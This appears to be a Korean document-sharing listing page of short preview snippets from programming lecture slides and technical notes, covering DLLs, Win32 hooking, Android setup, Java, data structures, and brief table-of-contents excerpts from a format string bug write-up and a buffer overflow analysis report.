DLL(Dynamic Linked Library) 제 11 장동적연결라이브러리 11.1 DLL 의링크 11.2 DLL 의종류 실습 11-1 Implicit 링킹을통한정규 DLL 달력만들기 실습 11-2 Explicit 링킹을통한정규 DLL 달력만들기 실습 11-3 확장 DLL 을통한주민등록번호조회 프로그램만들기 DLL(Dynamic Linked Library) DLL 이란? 동적연결라이브러리 프로그램내부에라이브러리가있는것이아니라따로독립적으로실행가능한파일

More information

학습목표 함수프로시저, 서브프로시저의의미를안다. 매개변수전달방식을학습한다. 함수를이용한프로그래밍한다. 2

학습목표 함수프로시저, 서브프로시저의의미를안다. 매개변수전달방식을학습한다. 함수를이용한프로그래밍한다. 2 학습목표 함수프로시저, 서브프로시저의의미를안다. 매개변수전달방식을학습한다. 함수를이용한프로그래밍한다. 2 6.1 함수프로시저 6.2 서브프로시저 6.3 매개변수의전달방식 6.4 함수를이용한프로그래밍 3 프로시저 (Procedure) 프로시저 (Procedure) 란무엇인가? 논리적으로묶여있는하나의처리단위 내장프로시저 이벤트프로시저, 속성프로시저, 메서드, 비주얼베이직내장함수등

More information

슬라이드 1

슬라이드 1 한국산업기술대학교 제 4 강프레임리스너 (Frame Listener) 이대현교수 학습안내 학습목표 프레임리스너를이용하여게임루프를구현하는방법을이해한다. 오우거엔짂의키입력처리방식을이해한다. 학습내용 프레임리스너의개념프레임리스너를이용한게임캐릭터의이동캐릭터의이동속도조절 OIS 입력시스템을이용한키보드입력의처리 기본게임루프 Initialization Game Logic

More information

Frama-C/JESSIS 사용법 소개

Frama-C/JESSIS 사용법 소개 Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

콜백 함수와 후킹 기법

콜백 함수와 후킹 기법 콜백함수와후킹기법 (Callback functions and Hooking Techniques) Win32 API 를이용하여어플리케이션을개발하다보면, 콜백함수에대한내용을많이보게된다. 그렇다면이렇게흔히보게되는콜백함수란과연무엇일까? 그리고, 이런콜백함수를이용해서할수있는것중에서후킹기법을이용하면윈도우운영체제에서사용할수있는여러가지마우스작업이나키보드작업등을중간에서조작하여활용하는것이가능하다.

More information

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx To be an Android Expert 문양세강원대학교 IT 대학컴퓨터학부 Eclipse (IDE) JDK Android SDK with ADT IDE: Integrated Development Environment JDK: Java Development Kit (Java SDK) ADT: Android Development Tools 2 JDK 설치 Eclipse

More information

Microsoft Word - PLC제어응용-2차시.doc

Microsoft Word - PLC제어응용-2차시.doc 과정명 PLC 제어응용차시명 2 차시. 접점명령 학습목표 1. 연산개시명령 (LOAD, LOAD NOT) 에대하여설명할수있다. 2. 직렬접속명령 (AND, AND NOT) 에대하여설명할수있다. 3. 병렬접속명령 (OR, OR NOT) 에대하여설명할수있다. 4.PLC의접점명령을가지고간단한프로그램을작성할수있다. 학습내용 1. 연산개시명령 1) 연산개시명령 (LOAD,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

윈도우시스템프로그래밍

윈도우시스템프로그래밍 객체지향프로그래밍응용 Chap 4. 대화상자와컨트롤 (#1) 2013.09.27. 오병우 컴퓨터공학과금오공과대학교 Control 들을가진윈도우 Dialog 개요 사용자의입력을받기위한 Object 의집합 종류 프로그램수행도중사용자의입력이필요할때다이얼로그박스출력 다이얼로그박스는사용자로부터입력받은데이터를메인루틴에넘기고소멸 Modal Dialog Parent window

More information

Microsoft PowerPoint - Java7.pptx

Microsoft PowerPoint - Java7.pptx HPC & OT Lab. 1 HPC & OT Lab. 2 실습 7 주차 Jin-Ho, Jang M.S. Hanyang Univ. HPC&OT Lab. jinhoyo@nate.com HPC & OT Lab. 3 Component Structure 객체 (object) 생성개념을이해한다. 외부클래스에대한접근방법을이해한다. 접근제어자 (public & private)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Win32 API Windows Programming 1 http://idb.korea.ac.kr DB & Mining LAB. Korea Univ. 최종업데이트 : 2012. 08. 14 1 컴퓨터시스템의주요구성요소 2 2 컴퓨터하드웨어구성 Fetch : 메인메모리에저장되어있는명령어를 CPU 로 Decode : 컨트롤유닛에의해분석 Execution : ALU

More information

Visual Basic 반복문

Visual Basic 반복문 학습목표 반복문 For Next문, For Each Next문 Do Loop문, While End While문 구구단작성기로익히는반복문 2 5.1 반복문 5.2 구구단작성기로익히는반복문 3 반복문 주어진조건이만족하는동안또는주어진조건이만족할때까지일정구간의실행문을반복하기위해사용 For Next For Each Next Do Loop While Wend 4 For

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

<4D F736F F F696E74202D203137C0E55FBFACBDC0B9AEC1A6BCD6B7E7BCC72E707074>

<4D F736F F F696E74202D203137C0E55FBFACBDC0B9AEC1A6BCD6B7E7BCC72E707074> SIMATIC S7 Siemens AG 2004. All rights reserved. Date: 22.03.2006 File: PRO1_17E.1 차례... 2 심벌리스트... 3 Ch3 Ex2: 프로젝트생성...... 4 Ch3 Ex3: S7 프로그램삽입... 5 Ch3 Ex4: 표준라이브러리에서블록복사... 6 Ch4 Ex1: 실제구성을 PG 로업로드하고이름변경......

More information

Windows 8에서 BioStar 1 설치하기

Windows 8에서 BioStar 1 설치하기 / 콘텐츠 테이블... PC에 BioStar 1 설치 방법... Microsoft SQL Server 2012 Express 설치하기... Running SQL 2012 Express Studio... DBSetup.exe 설정하기... BioStar 서버와 클라이언트 시작하기... 1 1 2 2 6 7 1/11 BioStar 1, Windows 8 BioStar

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 binoopang@is119.jnu.ac.kr Abstract libc에서제공하는 API를후킹해본다. 물론이방법을사용하면다른라이브러리에서제공하는 API들도후킹할수있다. 여기서제시하는방법은리눅스후킹에서가장기본적인방법이될것이기때문에후킹의워밍업이라고생각하고읽어보자 :D Content 1.

More information

K&R2 Reference Manual 번역본

K&R2 Reference Manual 번역본 typewriter structunion struct union if-else if if else if if else if if if if else else ; auto register static extern typedef void char short int long float double signed unsigned const volatile { } struct

More information

InsertColumnNonNullableError(#colName) 에해당하는메시지출력 존재하지않는컬럼에값을삽입하려고할경우, InsertColumnExistenceError(#colName) 에해당하는메시지출력 실행결과가 primary key 제약에위배된다면, Ins

InsertColumnNonNullableError(#colName) 에해당하는메시지출력 존재하지않는컬럼에값을삽입하려고할경우, InsertColumnExistenceError(#colName) 에해당하는메시지출력 실행결과가 primary key 제약에위배된다면, Ins Project 1-3: Implementing DML Due: 2015/11/11 (Wed), 11:59 PM 이번프로젝트의목표는프로젝트 1-1 및프로젝트 1-2에서구현한프로그램에기능을추가하여간단한 DML을처리할수있도록하는것이다. 구현한프로그램은 3개의 DML 구문 (insert, delete, select) 을처리할수있어야한다. 테이블데이터는파일에저장되어프로그램이종료되어도사라지지않아야한다.

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

Microsoft Word - hook9.doc

Microsoft Word - hook9.doc 개발자를위한윈도우후킹테크닉 OutputDebugString 의동작원리 우리는지금까지후킹 DLL 을 OutputDebugString 과 DebugView 를이용해서동작내용을확인했다. 하지만 DebugView 가활성화된상태에서후킹 DLL 에서 OutputDebugString 을수행하면시스템이잠시동안멈추는현상이발생한다. 이번시간에는이러한 DebugView 의불편함을해소하기위해서커스텀디버깅뷰를제작하는방법에대해서배운다.

More information

<4D F736F F D D31312D30312D53572D30312DBBE7BFEBC0DABCB3B8EDBCAD5FBFDCBACEB9E8C6F7BFEB2E646F63>

<4D F736F F D D31312D30312D53572D30312DBBE7BFEBC0DABCB3B8EDBCAD5FBFDCBACEB9E8C6F7BFEB2E646F63> SAM4S Printer Driver Installer 달리명시하지않은한, 인쇄또는복사된문서는통제하지않는문서임 목 차 1. 1. WINDOWS DRIVER INSTALLER 설치 설치...... 2 2. 프린터추가...... 5 3. 프린터제거...... 19 4. 프린터추가 / 제거선택...... 21 5. 프로그램추가 / 제거...... 21 SHC- 11-01-

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070> #include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0

More information

<4D F736F F F696E74202D203031C0E520C0A9B5B5BFEC20C7C1B7CEB1D7B7A1B9D620B1E2C3CA5FBFB5B3B2C0CCB0F8B4EB205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D203031C0E520C0A9B5B5BFEC20C7C1B7CEB1D7B7A1B9D620B1E2C3CA5FBFB5B3B2C0CCB0F8B4EB205BC8A3C8AF20B8F0B5E55D> 01 : 윈도우프로그래밍기초 학습목표 윈도우운영체제와윈도우응용프로그램의특징을이해한다. SDK 응용프로그램작성과정, 기본구조, 동작원리를이해한다. MFC 응용프로그램작성과정, 기본구조, 동작원리를이해한다. 비주얼 C++ 개발환경사용법을익힌다. 윈도우운영체제특징 (1/3) 그래픽사용자인터페이스 1 윈도우운영체제특징 (2/3) 메시지구동구조 이벤트발생... 대기

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)-

1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)- 1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다. 1.2.1 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)-1 연산범위이유 : 00000000 00000000 00000000 00000000의 32

More information

1장. 유닉스 시스템 프로그래밍 개요

1장.  유닉스 시스템 프로그래밍 개요 Unix 프로그래밍및실습 7 장. 시그널 - 과제보충 응용과제 1 부모프로세스는반복해서메뉴를출력하고사용자로부터주문을받아자식프로세스에게주문내용을알린다. (SIGUSR1) ( 일단주문을받으면음식이완료되기전까지 SIGUSR1 을제외한다른시그널은모두무시 ) timer 자식프로세스는주문을받으면조리를시작한다. ( 일단조리를시작하면음식이완성되기전까지 SIGALARM 을제외한다른시그널은모두무시

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

03_queue

03_queue Queue Data Structures and Algorithms 목차 큐의이해와 ADT 정의 큐의배열기반구현 큐의연결리스트기반구현 큐의활용 덱 (Deque) 의이해와구현 Data Structures and Algorithms 2 큐의이해와 ADT 정의 Data Structures and Algorithms 3 큐 (Stack) 의이해와 ADT 정의 큐는 LIFO(Last-in,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 실습 1 배효철 th1g@nate.com 1 목차 조건문 반복문 System.out 구구단 모양만들기 Up & Down 2 조건문 조건문의종류 If, switch If 문 조건식결과따라중괄호 { 블록을실행할지여부결정할때사용 조건식 true 또는 false값을산출할수있는연산식 boolean 변수 조건식이 true이면블록실행하고 false 이면블록실행하지않음 3

More information

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt 변수와상수 1 변수란무엇인가? 변수 : 정보 (data) 를저장하는컴퓨터내의특정위치 ( 임시저장공간 ) 메모리, register 메모리주소 101 번지 102 번지 변수의크기에따라 주로 byte 단위 메모리 2 기본적인변수형및변수의크기 변수의크기 해당컴퓨터에서는항상일정 컴퓨터마다다를수있음 short

More information

Studuino소프트웨어 설치

Studuino소프트웨어 설치 Studuino 프로그래밍환경 Studuino 소프트웨어설치 본자료는 Studuino 프로그래밍환경설치안내서입니다. Studuino 프로그래밍 환경의갱신에따라추가 / 수정될수있습니다. 목차 1. 소개... 1 2. Windows... 2 2.1. 프로그래밍환경설치... 2 2.1.1. 웹설치버전설치방법... 2 2.2. Studuino 프로그래밍환경실행...

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 06 반복문 01 반복문의필요성 02 for문 03 while문 04 do~while문 05 기타제어문 반복문의의미와필요성을이해한다. 대표적인반복문인 for 문, while 문, do~while 문의작성법을 알아본다. 1.1 반복문의필요성 반복문 동일한내용을반복하거나일정한규칙으로반복하는일을수행할때사용 프로그램을좀더간결하고실제적으로작성할수있음.

More information